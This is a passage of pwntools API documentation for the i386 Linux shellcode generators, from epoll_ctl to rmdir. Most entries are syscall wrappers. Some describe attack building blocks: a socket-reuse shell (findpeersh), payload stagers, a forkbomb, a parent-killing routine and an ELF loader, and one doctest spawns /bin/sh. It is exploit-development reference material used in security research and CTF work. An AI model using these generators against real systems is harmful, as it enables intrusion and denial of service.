pwnlib.shellcraft.i386.linux.**epoll_ctl**(*epfd*, *op*, *fd*, *event*)

Invokes the syscall epoll_ctl. See ‘man 2 epoll_ctl’ for more information.

Parameters

- **epfd** (*int*) – epfd
- **op** (*int*) – op
- **fd** (*int*) – fd
- **event** (*epoll_event*) – event

pwnlib.shellcraft.i386.linux.**epoll_pwait**(*epfd*, *events*, *maxevents*, *timeout*, *ss*)

Invokes the syscall epoll_pwait. See 'man 2 epoll_pwait' for more information.

Parameters

- **epfd** (*int*) – epfd
- **events** (*epoll_event*) – events
- **maxevents** (*int*) – maxevents
- **timeout** (*int*) – timeout
- **ss** (*sigset_t*) – ss

pwnlib.shellcraft.i386.linux.**epoll_wait**(*epfd*, *events*, *maxevents*, *timeout*)

Invokes the syscall epoll_wait. See 'man 2 epoll_wait' for more information.

Parameters

- **epfd** (*int*) – epfd
- **events** (*epoll_event*) – events
- **maxevents** (*int*) – maxevents
- **timeout** (*int*) – timeout

pwnlib.shellcraft.i386.linux.**execve**(*path='/bin///sh'*, *argv=0*, *envp=0*)

Execute a different process.

Attempts to perform some automatic detection of types. Otherwise, the arguments behave as normal.

- If path is a string that is not a known register, it is pushed onto the stack.
- If argv is an array of strings, it is pushed onto the stack, and NULL-terminated.
- If envp is an dictionary of {string:string}, it is pushed onto the stack, and NULL-terminated.

Example

```
>>> path = '/bin/sh'
>>> argv = ['sh', '-c', 'echo Hello, $NAME; exit $STATUS']
>>> envp = {'NAME': 'zerocool', 'STATUS': 3}
>>> sc = shellcraft.i386.linux.execve(path, argv, envp)
>>> io = run_assembly(sc)
>>> io.recvall()
'Hello, zerocool\n'
>>> io.poll(True)
3
```

pwnlib.shellcraft.i386.linux.**exit**(*status=None*)

Invokes the syscall exit. See 'man 2 exit' for more information.

Parameters **status** (*int*) – status

Doctest

```
>>> run_assembly_exitcode(shellcraft.exit(33))
33
```

pwnlib.shellcraft.i386.linux.**faccessat** (*fd*, *file*, *type*, *flag*)

Invokes the syscall faccessat. See 'man 2 faccessat' for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **type** (*int*) – type
- **flag** (*int*) – flag

pwnlib.shellcraft.i386.linux.**fallocate** (*fd*, *mode*, *offset*, *length*)

Invokes the syscall fallocate. See 'man 2 fallocate' for more information.

Parameters

- **fd** (*int*) – fd
- **mode** (*int*) – mode
- **offset** (*off_t*) – offset
- **len** (*off_t*) – len

pwnlib.shellcraft.i386.linux.**fchdir** (*fd*)

Invokes the syscall fchdir. See 'man 2 fchdir' for more information.

Parameters **fd** (*int*) – fd

pwnlib.shellcraft.i386.linux.**fchmod** (*fd*, *mode*)

Invokes the syscall fchmod. See 'man 2 fchmod' for more information.

Parameters

- **fd** (*int*) – fd
- **mode** (*mode_t*) – mode

pwnlib.shellcraft.i386.linux.**fchmodat** (*fd*, *file*, *mode*, *flag*)

Invokes the syscall fchmodat. See 'man 2 fchmodat' for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **mode** (*mode_t*) – mode
- **flag** (*int*) – flag

pwnlib.shellcraft.i386.linux.**fchown** (*fd*, *owner*, *group*)

Invokes the syscall fchown. See 'man 2 fchown' for more information.

Parameters

- **fd** (*int*) – fd
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group

`pwnlib.shellcraft.i386.linux.`**`fchownat`**(*fd*, *file*, *owner*, *group*, *flag*)

Invokes the syscall fchownat. See 'man 2 fchownat' for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group
- **flag** (*int*) – flag

`pwnlib.shellcraft.i386.linux.`**`fcntl`**(*fd*, *cmd*, *vararg*)

Invokes the syscall fcntl. See 'man 2 fcntl' for more information.

Parameters

- **fd** (*int*) – fd
- **cmd** (*int*) – cmd
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.i386.linux.`**`fdatasync`**(*fildes*)

Invokes the syscall fdatasync. See 'man 2 fdatasync' for more information.

Parameters **fildes** (*int*) – fildes

`pwnlib.shellcraft.i386.linux.`**`findpeer`**(*port=None*)

Args: port (defaults to any port) Finds a socket, which is connected to the specified port. Leaves socket in ESI.

`pwnlib.shellcraft.i386.linux.`**`findpeersh`**(*port=None*)

Args: port (defaults to any) Finds an open socket which connects to a specified port, and then opens a dup2 shell on it.

`pwnlib.shellcraft.i386.linux.`**`findpeerstager`**(*port=None*)

Findpeer recvsize stager :param port, the port given to findpeer: :type port, the port given to findpeer: defaults to any

`pwnlib.shellcraft.i386.linux.`**`flock`**(*fd*, *operation*)

Invokes the syscall flock. See 'man 2 flock' for more information.

Parameters

- **fd** (*int*) – fd
- **operation** (*int*) – operation

`pwnlib.shellcraft.i386.linux.`**`fork`**()

Invokes the syscall fork. See 'man 2 fork' for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.`**`forkbomb`**()

Performs a forkbomb attack.

`pwnlib.shellcraft.i386.linux.`**`forkexit`**()

Attempts to fork. If the fork is successful, the parent exits.

`pwnlib.shellcraft.i386.linux.`**`fstat`**(*fd*, *buf*)

Invokes the syscall fstat. See 'man 2 fstat' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (stat) – buf

pwnlib.shellcraft.i386.linux.**fstat64**(*fd*, *buf*)
Invokes the syscall fstat64. See 'man 2 fstat64' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (stat64) – buf

pwnlib.shellcraft.i386.linux.**fstatat64**(*fd*, *file*, *buf*, *flag*)
Invokes the syscall fstatat64. See 'man 2 fstatat64' for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **buf** (stat64) – buf
- **flag** (*int*) – flag

pwnlib.shellcraft.i386.linux.**fsync**(*fd*)
Invokes the syscall fsync. See 'man 2 fsync' for more information.

Parameters **fd** (*int*) – fd

pwnlib.shellcraft.i386.linux.**ftruncate**(*fd*, *length*)
Invokes the syscall ftruncate. See 'man 2 ftruncate' for more information.

Parameters

- **fd** (*int*) – fd
- **length** (*off_t*) – length

pwnlib.shellcraft.i386.linux.**ftruncate64**(*fd*, *length*)
Invokes the syscall ftruncate64. See 'man 2 ftruncate64' for more information.

Parameters

- **fd** (*int*) – fd
- **length** (*off64_t*) – length

pwnlib.shellcraft.i386.linux.**futimesat**(*fd*, *file*, *tvp*)
Invokes the syscall futimesat. See 'man 2 futimesat' for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **tvp** (*timeval*) – tvp

pwnlib.shellcraft.i386.linux.**getcwd**(*buf*, *size*)
Invokes the syscall getcwd. See 'man 2 getcwd' for more information.

Parameters

- **buf** (*char*) – buf
- **size** (*size_t*) – size

`pwnlib.shellcraft.i386.linux.`**`getdents`**(*fd*, *dirp*, *count*)

Invokes the syscall getdents. See 'man 2 getdents' for more information.

Parameters

- **fd** (*int*) – fd
- **dirp** (*int*) – dirp
- **count** (*int*) – count

`pwnlib.shellcraft.i386.linux.`**`getegid`**()

Invokes the syscall getegid. See 'man 2 getegid' for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.`**`geteuid`**()

Invokes the syscall geteuid. See 'man 2 geteuid' for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.`**`getgid`**()

Invokes the syscall getgid. See 'man 2 getgid' for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.`**`getgroups`**(*size*, *list*)

Invokes the syscall getgroups. See 'man 2 getgroups' for more information.

Parameters

- **size** (*int*) – size
- **list** (*gid_t*) – list

`pwnlib.shellcraft.i386.linux.`**`getitimer`**(*which*, *value*)

Invokes the syscall getitimer. See 'man 2 getitimer' for more information.

Parameters

- **which** (*itimer_which_t*) – which
- **value** (*itimerval*) – value

`pwnlib.shellcraft.i386.linux.`**`getpeername`**(*fd*, *addr*, *length*)

Invokes the syscall getpeername. See 'man 2 getpeername' for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*SOCKADDR_ARG*) – addr
- **len** (*socklen_t*) – len

`pwnlib.shellcraft.i386.linux.`**`getpgid`**(*pid*)

Invokes the syscall getpgid. See 'man 2 getpgid' for more information.

Parameters **pid** (*pid_t*) – pid

`pwnlib.shellcraft.i386.linux.`**`getpgrp`**()

Invokes the syscall getpgrp. See 'man 2 getpgrp' for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.`**`getpid`**()

Invokes the syscall getpid. See 'man 2 getpid' for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.`**`getpmsg`**`(`*fildes*, *ctlptr*, *dataptr*, *bandp*, *flagsp*`)`

Invokes the syscall getpmsg. See 'man 2 getpmsg' for more information.

Parameters

- **`fildes`** (*`int`*) – fildes
- **`ctlptr`** (*`strbuf`*) – ctlptr
- **`dataptr`** (*`strbuf`*) – dataptr
- **`bandp`** (*`int`*) – bandp
- **`flagsp`** (*`int`*) – flagsp

`pwnlib.shellcraft.i386.linux.`**`getppid`**`()`

Invokes the syscall getppid. See 'man 2 getppid' for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.`**`getpriority`**`(`*which*, *who*`)`

Invokes the syscall getpriority. See 'man 2 getpriority' for more information.

Parameters

- **`which`** (*`priority_which_t`*) – which
- **`who`** (*`id_t`*) – who

`pwnlib.shellcraft.i386.linux.`**`getresgid`**`(`*rgid*, *egid*, *sgid*`)`

Invokes the syscall getresgid. See 'man 2 getresgid' for more information.

Parameters

- **`rgid`** (*`gid_t`*) – rgid
- **`egid`** (*`gid_t`*) – egid
- **`sgid`** (*`gid_t`*) – sgid

`pwnlib.shellcraft.i386.linux.`**`getresuid`**`(`*ruid*, *euid*, *suid*`)`

Invokes the syscall getresuid. See 'man 2 getresuid' for more information.

Parameters

- **`ruid`** (*`uid_t`*) – ruid
- **`euid`** (*`uid_t`*) – euid
- **`suid`** (*`uid_t`*) – suid

`pwnlib.shellcraft.i386.linux.`**`getrlimit`**`(`*resource*, *rlimits*`)`

Invokes the syscall getrlimit. See 'man 2 getrlimit' for more information.

Parameters

- **`resource`** (*`rlimit_resource_t`*) – resource
- **`rlimits`** (*`rlimit`*) – rlimits

`pwnlib.shellcraft.i386.linux.`**`getrusage`**`(`*who*, *usage*`)`

Invokes the syscall getrusage. See 'man 2 getrusage' for more information.

Parameters

- **`who`** (*`rusage_who_t`*) – who

- **usage** (*rusage*) – usage

`pwnlib.shellcraft.i386.linux.`**`getsid`**(*pid*)
Invokes the syscall getsid. See 'man 2 getsid' for more information.

Parameters **pid** (*pid_t*) – pid

`pwnlib.shellcraft.i386.linux.`**`getsockname`**(*fd*, *addr*, *length*)
Invokes the syscall getsockname. See 'man 2 getsockname' for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*SOCKADDR_ARG*) – addr
- **len** (*socklen_t*) – len

`pwnlib.shellcraft.i386.linux.`**`getsockopt`**(*fd*, *level*, *optname*, *optval*, *optlen*)
Invokes the syscall getsockopt. See 'man 2 getsockopt' for more information.

Parameters

- **fd** (*int*) – fd
- **level** (*int*) – level
- **optname** (*int*) – optname
- **optval** (*void*) – optval
- **optlen** (*socklen_t*) – optlen

`pwnlib.shellcraft.i386.linux.`**`gettimeofday`**(*tv*, *tz*)
Invokes the syscall gettimeofday. See 'man 2 gettimeofday' for more information.

Parameters

- **tv** (*timeval*) – tv
- **tz** (*timezone_ptr_t*) – tz

`pwnlib.shellcraft.i386.linux.`**`getuid`**()
Invokes the syscall getuid. See 'man 2 getuid' for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.`**`gtty`**(*fd*, *params*)
Invokes the syscall gtty. See 'man 2 gtty' for more information.

Parameters

- **fd** (*int*) – fd
- **params** (*sgttyb*) – params

`pwnlib.shellcraft.i386.linux.`**`i386_to_amd64`**()
Returns code to switch from i386 to amd64 mode.

`pwnlib.shellcraft.i386.linux.`**`ioctl`**(*fd*, *request*, *vararg*)
Invokes the syscall ioctl. See 'man 2 ioctl' for more information.

Parameters

- **fd** (*int*) – fd
- **request** (*unsigned*) – request
- **vararg** (*int*) – vararg

pwnlib.shellcraft.i386.linux.**ioperm**(*from_*, *num*, *turn_on*)
Invokes the syscall ioperm. See 'man 2 ioperm' for more information.

Parameters

- **from** (*unsigned*) – from
- **num** (*unsigned*) – num
- **turn_on** (*int*) – turn_on

pwnlib.shellcraft.i386.linux.**iopl**(*level*)
Invokes the syscall iopl. See 'man 2 iopl' for more information.

Parameters **level** (*int*) – level

pwnlib.shellcraft.i386.linux.**kill**(*pid*, *sig*)
Invokes the syscall kill. See 'man 2 kill' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **sig** (*int*) – sig

pwnlib.shellcraft.i386.linux.**killparent**()
Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

pwnlib.shellcraft.i386.linux.**lchown**(*file*, *owner*, *group*)
Invokes the syscall lchown. See 'man 2 lchown' for more information.

Parameters

- **file** (*char*) – file
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group

pwnlib.shellcraft.i386.linux.**link**(*from_*, *to*)
Invokes the syscall link. See 'man 2 link' for more information.

Parameters

- **from** (*char*) – from
- **to** (*char*) – to

pwnlib.shellcraft.i386.linux.**linkat**(*fromfd*, *from_*, *tofd*, *to*, *flags*)
Invokes the syscall linkat. See 'man 2 linkat' for more information.

Parameters

- **fromfd** (*int*) – fromfd
- **from** (*char*) – from
- **tofd** (*int*) – tofd
- **to** (*char*) – to
- **flags** (*int*) – flags

pwnlib.shellcraft.i386.linux.**listen**(*fd*, *n*)
Invokes the syscall listen. See 'man 2 listen' for more information.

Parameters

- **fd** (*int*) – fd

- **n** (*int*) – n

`pwnlib.shellcraft.i386.linux.`**`loader`**(*address*)

Loads a statically-linked ELF into memory and transfers control.

Parameters **address** (*int*) – Address of the ELF as a register or integer.

`pwnlib.shellcraft.i386.linux.`**`loader_append`**(*data=None*)

Loads a statically-linked ELF into memory and transfers control.

Similar to loader.asm but loads an appended ELF.

Parameters **data** (*str*) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If `None`, it is ignored.

Example

```
>>> gcc = process(['gcc','-m32','-xc','-static','-Wl,-Ttext-segment=0x20000000','-'])
>>> gcc.write('''
... int main() {
...     printf("Hello, %s!\\n", "i386");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True)
0
>>> sc = shellcraft.loader_append('a.out')
```

The following doctest is commented out because it doesn't work on Travis for reasons I cannot diagnose. However, it should work just fine :-)

> # >>> run_assembly(sc).recvline() == 'Hello, i386!n' # True

`pwnlib.shellcraft.i386.linux.`**`lseek`**(*fd*, *offset*, *whence*)

Invokes the syscall lseek. See 'man 2 lseek' for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off_t*) – offset
- **whence** (*int*) – whence

`pwnlib.shellcraft.i386.linux.`**`lstat`**(*file*, *buf*)

Invokes the syscall lstat. See 'man 2 lstat' for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat*) – buf

`pwnlib.shellcraft.i386.linux.`**`lstat64`**(*file*, *buf*)

Invokes the syscall lstat64. See 'man 2 lstat64' for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat64*) – buf

`pwnlib.shellcraft.i386.linux.`**`madvise`**(*addr*, *length*, *advice*)

Invokes the syscall madvise. See 'man 2 madvise' for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len
- **advice** (*int*) – advice

pwnlib.shellcraft.i386.linux.**mincore**(*start*, *length*, *vec*)

Invokes the syscall mincore. See 'man 2 mincore' for more information.

Parameters

- **start** (*void*) – start
- **len** (*size_t*) – len
- **vec** (*unsigned*) – vec

pwnlib.shellcraft.i386.linux.**mkdir**(*path*, *mode*)

Invokes the syscall mkdir. See 'man 2 mkdir' for more information.

Parameters

- **path** (*char*) – path
- **mode** (*mode_t*) – mode

pwnlib.shellcraft.i386.linux.**mkdirat**(*fd*, *path*, *mode*)

Invokes the syscall mkdirat. See 'man 2 mkdirat' for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **mode** (*mode_t*) – mode

pwnlib.shellcraft.i386.linux.**mknod**(*path*, *mode*, *dev*)

Invokes the syscall mknod. See 'man 2 mknod' for more information.

Parameters

- **path** (*char*) – path
- **mode** (*mode_t*) – mode
- **dev** (*dev_t*) – dev

pwnlib.shellcraft.i386.linux.**mknodat**(*fd*, *path*, *mode*, *dev*)

Invokes the syscall mknodat. See 'man 2 mknodat' for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **mode** (*mode_t*) – mode
- **dev** (*dev_t*) – dev

pwnlib.shellcraft.i386.linux.**mlock**(*addr*, *length*)

Invokes the syscall mlock. See 'man 2 mlock' for more information.

Parameters

- **addr** (*void*) – addr

- **len** (*size_t*) – len

pwnlib.shellcraft.i386.linux.**mlockall**(*flags*)

Invokes the syscall mlockall. See 'man 2 mlockall' for more information.

Parameters **flags** (*int*) – flags

pwnlib.shellcraft.i386.linux.**mmap**(*addr=0*, *length=4096*, *prot=7*, *flags=34*, *fd=-1*, *offset=0*)

Invokes the syscall mmap. See 'man 2 mmap' for more information.

Parameters

- **addr** (*void*) – addr
- **length** (*size_t*) – length
- **prot** (*int*) – prot
- **flags** (*int*) – flags
- **fd** (*int*) – fd
- **offset** (*off_t*) – offset

pwnlib.shellcraft.i386.linux.**mov**(*dest*, *src*, *stack_allowed=True*)

Thin wrapper around *pwnlib.shellcraft.i386.mov()*, which sets *context.os* to *'linux'* before calling.

Example

```
>>> print pwnlib.shellcraft.i386.linux.mov('eax', 'SYS_execve').rstrip()
    push (SYS_execve) /* 0xb */
    pop eax
```

pwnlib.shellcraft.i386.linux.**mprotect**(*addr*, *length*, *prot*)

Invokes the syscall mprotect. See 'man 2 mprotect' for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len
- **prot** (*int*) – prot

pwnlib.shellcraft.i386.linux.**mprotect_all**(*clear_ebx=True*, *fix_null=False*)

Calls mprotect(page, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) for every page.

It takes around 0.3 seconds on my box, but your milage may vary.

Parameters

- **clear_ebx** (*bool*) – If this is set to False, then the shellcode will assume that ebx has already been zeroed.
- **fix_null** (*bool*) – If this is set to True, then the NULL-page will also be mprotected at the cost of slightly larger shellcode

pwnlib.shellcraft.i386.linux.**mq_notify**(*mqdes*, *notification*)

Invokes the syscall mq_notify. See 'man 2 mq_notify' for more information.

Parameters

- **mqdes** (*mqd_t*) – mqdes
- **notification** (*sigevent*) – notification

pwnlib.shellcraft.i386.linux.**mq_open**(*name*, *oflag*, *vararg*)

Invokes the syscall mq_open. See 'man 2 mq_open' for more information.

Parameters

- **name** (*char*) – name
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

pwnlib.shellcraft.i386.linux.**mq_timedreceive**(*mqdes*, *msg_ptr*, *msg_len*, *msg_prio*, *abs_timeout*)

Invokes the syscall mq_timedreceive. See 'man 2 mq_timedreceive' for more information.

Parameters

- **mqdes** (*mqd_t*) – mqdes
- **msg_ptr** (*char*) – msg_ptr
- **msg_len** (*size_t*) – msg_len
- **msg_prio** (*unsigned*) – msg_prio
- **abs_timeout** (*timespec*) – abs_timeout

pwnlib.shellcraft.i386.linux.**mq_timedsend**(*mqdes*, *msg_ptr*, *msg_len*, *msg_prio*, *abs_timeout*)

Invokes the syscall mq_timedsend. See 'man 2 mq_timedsend' for more information.

Parameters

- **mqdes** (*mqd_t*) – mqdes
- **msg_ptr** (*char*) – msg_ptr
- **msg_len** (*size_t*) – msg_len
- **msg_prio** (*unsigned*) – msg_prio
- **abs_timeout** (*timespec*) – abs_timeout

pwnlib.shellcraft.i386.linux.**mq_unlink**(*name*)

Invokes the syscall mq_unlink. See 'man 2 mq_unlink' for more information.

Parameters **name** (*char*) – name

pwnlib.shellcraft.i386.linux.**mremap**(*addr*, *old_len*, *new_len*, *flags*, *vararg*)

Invokes the syscall mremap. See 'man 2 mremap' for more information.

Parameters

- **addr** (*void*) – addr
- **old_len** (*size_t*) – old_len
- **new_len** (*size_t*) – new_len
- **flags** (*int*) – flags
- **vararg** (*int*) – vararg

pwnlib.shellcraft.i386.linux.**msync**(*addr*, *length*, *flags*)

Invokes the syscall msync. See 'man 2 msync' for more information.

Parameters

- **addr** (*void*) – addr

- **len** (*size_t*) – len
- **flags** (*int*) – flags

pwnlib.shellcraft.i386.linux.**munlock**(*addr*, *length*)

Invokes the syscall munlock. See 'man 2 munlock' for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len

pwnlib.shellcraft.i386.linux.**munlockall**()

Invokes the syscall munlockall. See 'man 2 munlockall' for more information.

Arguments:

pwnlib.shellcraft.i386.linux.**munmap**(*addr*, *length*)

Invokes the syscall munmap. See 'man 2 munmap' for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len

pwnlib.shellcraft.i386.linux.**nanosleep**(*requested_time*, *remaining*)

Invokes the syscall nanosleep. See 'man 2 nanosleep' for more information.

Parameters

- **requested_time** (*timespec*) – requested_time
- **remaining** (*timespec*) – remaining

pwnlib.shellcraft.i386.linux.**nice**(*inc*)

Invokes the syscall nice. See 'man 2 nice' for more information.

Parameters **inc** (*int*) – inc

pwnlib.shellcraft.i386.linux.**open**(*file*, *oflag*, *vararg*)

Invokes the syscall open. See 'man 2 open' for more information.

Parameters

- **file** (*char*) – file
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

pwnlib.shellcraft.i386.linux.**openat**(*fd*, *file*, *oflag*, *vararg*)

Invokes the syscall openat. See 'man 2 openat' for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

pwnlib.shellcraft.i386.linux.**pause**()

Invokes the syscall pause. See 'man 2 pause' for more information.

Arguments:

pwnlib.shellcraft.i386.linux.**pidmax**()

Retrieves the highest numbered PID on the system, according to the sysctl kernel.pid_max.

pwnlib.shellcraft.i386.linux.**pipe**(*pipedes*)

Invokes the syscall pipe. See 'man 2 pipe' for more information.

Parameters **pipedes** (*int*) – pipedes

pwnlib.shellcraft.i386.linux.**pipe2**(*pipedes*, *flags*)

Invokes the syscall pipe2. See 'man 2 pipe2' for more information.

Parameters

- **pipedes** (*int*) – pipedes
- **flags** (*int*) – flags

pwnlib.shellcraft.i386.linux.**poll**(*fds*, *nfds*, *timeout*)

Invokes the syscall poll. See 'man 2 poll' for more information.

Parameters

- **fds** (*pollfd*) – fds
- **nfds** (*nfds_t*) – nfds
- **timeout** (*int*) – timeout

pwnlib.shellcraft.i386.linux.**ppoll**(*fds*, *nfds*, *timeout*, *ss*)

Invokes the syscall ppoll. See 'man 2 ppoll' for more information.

Parameters

- **fds** (*pollfd*) – fds
- **nfds** (*nfds_t*) – nfds
- **timeout** (*timespec*) – timeout
- **ss** (*sigset_t*) – ss

pwnlib.shellcraft.i386.linux.**prctl**(*option*, **vararg*)

Invokes the syscall prctl. See 'man 2 prctl' for more information.

Parameters

- **option** (*int*) – option
- **vararg** (*int*) – vararg

pwnlib.shellcraft.i386.linux.**pread**(*fd*, *buf*, *nbytes*, *offset*)

Invokes the syscall pread. See 'man 2 pread' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **nbytes** (*size_t*) – nbytes
- **offset** (*off_t*) – offset

pwnlib.shellcraft.i386.linux.**preadv**(*fd*, *iovec*, *count*, *offset*)

Invokes the syscall preadv. See 'man 2 preadv' for more information.

Parameters

- **fd** (*int*) – fd

- **iovec** (*iovec*) – iovec
- **count** (*int*) – count
- **offset** (*off_t*) – offset

pwnlib.shellcraft.i386.linux.**prlimit64** (*pid*, *resource*, *new_limit*, *old_limit*)
Invokes the syscall prlimit64. See ‘man 2 prlimit64’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **resource** (*rlimit_resource*) – resource
- **new_limit** (*rlimit64*) – new_limit
- **old_limit** (*rlimit64*) – old_limit

pwnlib.shellcraft.i386.linux.**profil** (*sample_buffer*, *size*, *offset*, *scale*)
Invokes the syscall profil. See ‘man 2 profil’ for more information.

Parameters

- **sample_buffer** (*unsigned*) – sample_buffer
- **size** (*size_t*) – size
- **offset** (*size_t*) – offset
- **scale** (*unsigned*) – scale

pwnlib.shellcraft.i386.linux.**ptrace** (*request*, **vararg*)
Invokes the syscall ptrace. See ‘man 2 ptrace’ for more information.

Parameters

- **request** (*ptrace_request*) – request
- **vararg** (*int*) – vararg

pwnlib.shellcraft.i386.linux.**push** (*value*)
Thin wrapper around *pwnlib.shellcraft.i386.push()*, which sets *context.os* to *‘linux’* before calling.

Example

```
>>> print pwnlib.shellcraft.i386.linux.push('SYS_execve').rstrip()
    /* push (SYS_execve) (0xb) */
    push 0xb
```

pwnlib.shellcraft.i386.linux.**putpmsg** (*fildes*, *ctlptr*, *dataptr*, *band*, *flags*)
Invokes the syscall putpmsg. See ‘man 2 putpmsg’ for more information.

Parameters

- **fildes** (*int*) – fildes
- **ctlptr** (*strbuf*) – ctlptr
- **dataptr** (*strbuf*) – dataptr
- **band** (*int*) – band
- **flags** (*int*) – flags

pwnlib.shellcraft.i386.linux.**pwrite**(*fd*, *buf*, *n*, *offset*)

Invokes the syscall pwrite. See 'man 2 pwrite' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **offset** (*off_t*) – offset

pwnlib.shellcraft.i386.linux.**pwritev**(*fd*, *iovec*, *count*, *offset*)

Invokes the syscall pwritev. See 'man 2 pwritev' for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count
- **offset** (*off_t*) – offset

pwnlib.shellcraft.i386.linux.**read**(*fd*, *buf*, *nbytes*)

Invokes the syscall read. See 'man 2 read' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **nbytes** (*size_t*) – nbytes

pwnlib.shellcraft.i386.linux.**readahead**(*fd*, *offset*, *count*)

Invokes the syscall readahead. See 'man 2 readahead' for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off64_t*) – offset
- **count** (*size_t*) – count

pwnlib.shellcraft.i386.linux.**readdir**(*dirp*)

Invokes the syscall readdir. See 'man 2 readdir' for more information.

Parameters **dirp** (*DIR*) – dirp

pwnlib.shellcraft.i386.linux.**readfile**(*path*, *dst='esi'*)

Args: [path, dst (imm/reg) = esi] Opens the specified file path and sends its content to the specified file descriptor.

pwnlib.shellcraft.i386.linux.**readlink**(*path*, *buf*, *length*)

Invokes the syscall readlink. See 'man 2 readlink' for more information.

Parameters

- **path** (*char*) – path
- **buf** (*char*) – buf
- **len** (*size_t*) – len

`pwnlib.shellcraft.i386.linux.`**`readlinkat`**(*fd*, *path*, *buf*, *length*)

Invokes the syscall readlinkat. See 'man 2 readlinkat' for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **buf** (*char*) – buf
- **len** (*size_t*) – len

`pwnlib.shellcraft.i386.linux.`**`readn`**(*fd*, *buf*, *nbytes*)

Reads exactly nbytes bytes from file descriptor fd into the buffer buf.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **nbytes** (*size_t*) – nbytes

`pwnlib.shellcraft.i386.linux.`**`readv`**(*fd*, *iovec*, *count*)

Invokes the syscall readv. See 'man 2 readv' for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count

`pwnlib.shellcraft.i386.linux.`**`recv`**(*fd*, *buf*, *n*, *flags*)

Invokes the syscall recv. See 'man 2 recv' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **flags** (*int*) – flags

`pwnlib.shellcraft.i386.linux.`**`recvfrom`**(*fd*, *buf*, *n*, *flags*, *addr*, *addr_len*)

Invokes the syscall recvfrom. See 'man 2 recvfrom' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **flags** (*int*) – flags
- **addr** (*SOCKADDR_ARG*) – addr
- **addr_len** (*socklen_t*) – addr_len

`pwnlib.shellcraft.i386.linux.`**`recvmmsg`**(*fd*, *vmessages*, *vlen*, *flags*, *tmo*)

Invokes the syscall recvmmsg. See 'man 2 recvmmsg' for more information.

Parameters

- **fd** (*int*) – fd
- **vmessages** (*mmsghdr*) – vmessages
- **vlen** (*unsigned*) – vlen
- **flags** (*int*) – flags
- **tmo** (*timespec*) – tmo

pwnlib.shellcraft.i386.linux.**recvmsg**(*fd*, *message*, *flags*)

Invokes the syscall recvmsg. See 'man 2 recvmsg' for more information.

Parameters

- **fd** (*int*) – fd
- **message** (*msghdr*) – message
- **flags** (*int*) – flags

pwnlib.shellcraft.i386.linux.**recvsize**(*sock*, *reg='ecx'*)

Recives 4 bytes size field Useful in conjuncion with findpeer and stager :param sock, the socket to read the payload from.: :param reg, the place to put the size: :type reg, the place to put the size: default ecx

Leaves socket in ebx

pwnlib.shellcraft.i386.linux.**remap_file_pages**(*start*, *size*, *prot*, *pgoff*, *flags*)

Invokes the syscall remap_file_pages. See 'man 2 remap_file_pages' for more information.

Parameters

- **start** (*void*) – start
- **size** (*size_t*) – size
- **prot** (*int*) – prot
- **pgoff** (*size_t*) – pgoff
- **flags** (*int*) – flags

pwnlib.shellcraft.i386.linux.**rename**(*old*, *new*)

Invokes the syscall rename. See 'man 2 rename' for more information.

Parameters

- **old** (*char*) – old
- **new** (*char*) – new

pwnlib.shellcraft.i386.linux.**renameat**(*oldfd*, *old*, *newfd*, *new*)

Invokes the syscall renameat. See 'man 2 renameat' for more information.

Parameters

- **oldfd** (*int*) – oldfd
- **old** (*char*) – old
- **newfd** (*int*) – newfd
- **new** (*char*) – new

pwnlib.shellcraft.i386.linux.**rmdir**(*path*)

Invokes the syscall rmdir. See 'man 2 rmdir' for more information.

